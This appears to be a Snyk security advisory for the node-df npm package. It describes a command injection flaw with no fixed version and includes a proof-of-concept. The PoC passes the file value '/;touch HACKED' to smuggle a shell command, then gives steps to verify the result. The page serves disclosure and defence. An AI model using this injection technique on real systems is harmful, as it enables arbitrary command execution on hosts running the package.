Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for node-df
.
node-df is a cross-platform Node.js wrapper around the standard Unix computer program (disk free).
Affected versions of this package are vulnerable to Command Injection. The issue occurs because a user input
is concatenated inside a command
that will be executed without any check.
// poc.js var df = require('node-df'); var options = { file: '/;touch HACKED', prefixMultiplier: 'GB', isDisplayPrefixMultiplier: true, precision: 2 };
df(options, function (error, response) { if (error) { throw error; }
console.log(JSON.stringify(response, null, 2));
}); Execute the following commands in terminal: npm i node-df # Install affected module ls # Make sure there isn't any HACKED file node poc.js # Run the PoC ls # The HACKED file has been created